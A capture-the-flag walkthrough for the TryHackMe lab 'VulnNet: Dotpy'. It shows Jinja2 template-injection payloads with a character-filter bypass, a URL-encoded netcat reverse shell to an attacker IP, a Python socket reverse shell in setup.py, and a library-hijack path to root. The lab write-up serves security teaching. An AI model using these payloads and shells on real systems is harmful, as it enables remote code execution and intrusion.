VulnNet: Dotpy

https://tryhackme.com/room/vulnnetdotpy

User Flag

Let's start with port enumeration enumeration:

We see there's only one port open (8080). Let's head to the website and see if we find something interesting.

We see a login portal. What about if we create a test account and login with it?

We see there's some kind of panel. We tried using gobuster but didn't find anything useful nor interesting.

After a while, we tried looking for an admin page and got a 404 error. If we look carefully we see there's a potential SSLI vulnerability.

How can we know if a SSTI vulnerability exists? Let's follow the diagram:

We try {{7*7}} and see it's vulnerable.

Let's keep trying.

We got the conclusion it uses jinja2:

So now we have to exploit it. Let's use the following guides to try to get a rev shell.

Crafting a proof of concept (Jinja2)

Python allows us to call the current class instance with .__class__, we can call this on an empty string:

Payload: http://MACHINE_IP:5000/profile/{{ ''.__class__ }}.

Classes in Python have an attribute called .__mro__ that allows us to climb up the inherited object tree:

Payload: http://MACHINE_IP:5000/profile/{{ ''.__class__.__mro__ }}.

Since we want the root object, we can access the second property (first index):

Payload: http://MACHINE_IP:5000/profile/{{ ''.__class__.__mro__[1] }}.

Objects in Python have a method called .__subclassess__ that allows us to climb down the object tree:

Payload: http://MACHINE_IP:5000/profile/{{ ''.__class__.__mro__[1].__subclasses__() }}.

Unlucky for us, we see our requests are getting blocked.

After trying out we see _ , [ ] and . are filtered

Checking the hacktricks guide we mentioned earlier we can try payload to bypass the filters;

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

We didn't get the command output but at least we didn't get blocked.

If we url encode the payload we see it works:

%7B%7Brequest%7Cattr%28%27application%27%29%7Cattr%28%27%5Cx5f%5Cx5fglobals%5Cx5f%5Cx5f%27%29%7Cattr%28%27%5Cx5f%5Cx5fgetitem%5Cx5f%5Cx5f%27%29%28%27%5Cx5f%5Cx5fbuiltins%5Cx5f%5Cx5f%27%29%7Cattr%28%27%5Cx5f%5Cx5fgetitem%5Cx5f%5Cx5f%27%29%28%27%5Cx5f%5Cx5fimport%5Cx5f%5Cx5f%27%29%28%27os%27%29%7Cattr%28%27popen%27%29%28%27id%27%29%7Cattr%28%27read%27%29%28%29%7D%7D%0A

We can now try to get a rev shell.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc YOUR_IP PORT >/tmp/f

We have to convert it to hex first:

\x72\x6d\x20\x2f\x74\x6d\x70\x2f\x66\x3b\x6d\x6b\x66\x69\x66\x6f\x20\x2f\x74\x6d\x70\x2f\x66\x3b\x63\x61\x74\x20\x2f\x74\x6d\x70\x2f\x66\x7c\x73\x68\x20\x2d\x69\x20\x32\x3e\x26\x31\x7c\x6e\x63\x20\x31\x30\x2e\x31\x31\x2e\x33\x36\x2e\x31\x30\x33\x20\x39\x30\x30\x31\x20\x3e\x2f\x74\x6d\x70\x2f\x66

Then we URL encode everything

%7B%7Brequest%7Cattr%28%27application%27%29%7Cattr%28%27%5Cx5f%5Cx5fglobals%5Cx5f%5Cx5f%27%29%7Cattr%28%27%5Cx5f%5Cx5fgetitem%5Cx5f%5Cx5f%27%29%28%27%5Cx5f%5Cx5fbuiltins%5Cx5f%5Cx5f%27%29%7Cattr%28%27%5Cx5f%5Cx5fgetitem%5Cx5f%5Cx5f%27%29%28%27%5Cx5f%5Cx5fimport%5Cx5f%5Cx5f%27%29%28%27os%27%29%7Cattr%28%27popen%27%29%28%27%5Cx72%5Cx6d%5Cx20%5Cx2f%5Cx74%5Cx6d%5Cx70%5Cx2f%5Cx66%5Cx3b%5Cx6d%5Cx6b%5Cx66%5Cx69%5Cx66%5Cx6f%5Cx20%5Cx2f%5Cx74%5Cx6d%5Cx70%5Cx2f%5Cx66%5Cx3b%5Cx63%5Cx61%5Cx74%5Cx20%5Cx2f%5Cx74%5Cx6d%5Cx70%5Cx2f%5Cx66%5Cx7c%5Cx73%5Cx68%5Cx20%5Cx2d%5Cx69%5Cx20%5Cx32%5Cx3e%5Cx26%5Cx31%5Cx7c%5Cx6e%5Cx63%5Cx20%5Cx31%5Cx30%5Cx2e%5Cx31%5Cx31%5Cx2e%5Cx33%5Cx36%5Cx2e%5Cx31%5Cx30%5Cx33%5Cx20%5Cx39%5Cx30%5Cx30%5Cx31%5Cx20%5Cx3e%5Cx2f%5Cx74%5Cx6d%5Cx70%5Cx2f%5Cx66%0A%27%29%7Cattr%28%27read%27%29%28%29%7D%7D%0A

Now we have to start a nc listener and execute the payload

Let's upgrade the shell.

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
stty raw -echo; fg

We can try to swtich accounts using the following:

Let's create a folder in /tmp/ and a file called setup.py inside that folder with the following content:

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("YOUR_IP",PORT))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
import pty
pty.spawn("/bin/bash")

After that, let's start a nc listener and execute the following command:

Let's grab the flag.

Root flag

Let's check our sudo privileges:

We see that we can set an environment variable. We see backup.py imports "zipfile" so we can creat our own file, change the env and get our root shell.

Last updated

Was this helpful?